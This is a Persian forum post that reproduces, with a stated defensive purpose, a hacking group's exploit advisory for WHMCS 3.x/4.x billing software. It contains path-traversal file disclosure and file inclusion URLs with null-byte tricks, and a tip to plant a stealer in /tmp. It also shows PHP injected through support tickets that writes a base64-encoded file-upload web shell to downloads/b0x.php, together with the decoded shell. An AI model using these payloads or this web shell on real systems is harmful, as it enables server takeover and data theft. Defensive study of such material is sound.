هک شدن از طریق whmcs5

[plastic]

بنا به این که خیلی از دوستان ایرانی توسط این باگ هک میشن این اکسپلویت رو قرار میدم تا با توجه به اون مقابله بکنید:

$b0x#  WHMCS ( WHMCompleteSolution )  3.x / 4.x  Multiple Vulnerability !
$b0x#  ZxH-Labs
$b0x#  1st-NOV-11
$b0x#  Www.Sec4ever.coM
$b0x#  WH-03 On Windows IIS 6.0

========================================================
b0x@1337b0x:/b0x/Exploits/WebAPP# whoami
ZxH-Labs | Www.Sec4ever.coM
b0x@1337b0x:/b0x/Exploits/WebAPP# cat WH-03.XPL

EXPL Type : Local File Disclosure
              
Files : Submitticket.php , Downloads.php

       -> I: submitticket.php?step=[Unknown Value]&templatefile=../../../../../../../../../boot.ini%00
             EX : submitticket.php?step=b0x&templatefile=../../../../../../../../../boot.ini%00

       ->II: downloads.php?action=[Unknown Value]&templatefile=../../../../../../../../../boot.ini%00
            EX : downloads.php?action=b0x&templatefile=../../../../../../../../../boot.ini%00


b0x@1337b0x:/b0x/Exploits/WebAPP#
b0x@1337b0x:/b0x/Exploits/WebAPP#  cat WH-03.bug

Bug TYPE : Local File Include
Bug File : Reports.php

             -I : reports.php?report=[LFI]%00
                EX : admin/reports.php?report=../../../../../../../boot.ini%00
            
               You Can Use This Bug When You Get Forbidden Access In Lux Symlink !
            However You Can Make Stealer into "/tmp" Directory With EXT .htm And The Full ISSUE Will Be
                  -FI : admin/reports.php?report=../../../../../../../tmp/b0x.htm%00
              And Don't Forget To Use IFRAME With Evil Code'z =))


b0x@1337b0x:/b0x/Exploits/WebAPP# Logout
========================================================
$b0x# Greet'z 2 T0R0B0XHACKER | X-Shadow | Sec4ever |  TNT_HACKER | r1z | Tw1st3r | S4S
Cyb3r-1st | Red Virus | I-Hmx | h311 c0d3 | TacticiaN  | Th3MMA | FreeMan(LY) | Ma3stro_DZ
Mr.L4iv3  And All Q8'z

./b0x

------------------------------------
کل کدي که اينجکت ميشه در تيکت ها( با توجه به ارسال maryam1) اين هست:

<?php
$code = base64_decode("PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCglpZihAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkgeyBlY2hvICc8Yj5VcGxvYWQgU1VLU0VTICEhITwvYj48YnI+PGJyPic7IH0NCgllbHNlIHsgZWNobyAnPGI+VXBsb2FkIEdBR0FMICEhITwvYj48YnI+PGJyPic7IH0NCn0NCj8+");
$fo = fopen("downloads/b0x.php","w");
fwrite($fo,$code);
?>

و $code عبارته از:

<?php
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
	if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
	else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
}
?>

با توجه به اين موارد ميتونيد جلوي مورد رو بگيريد.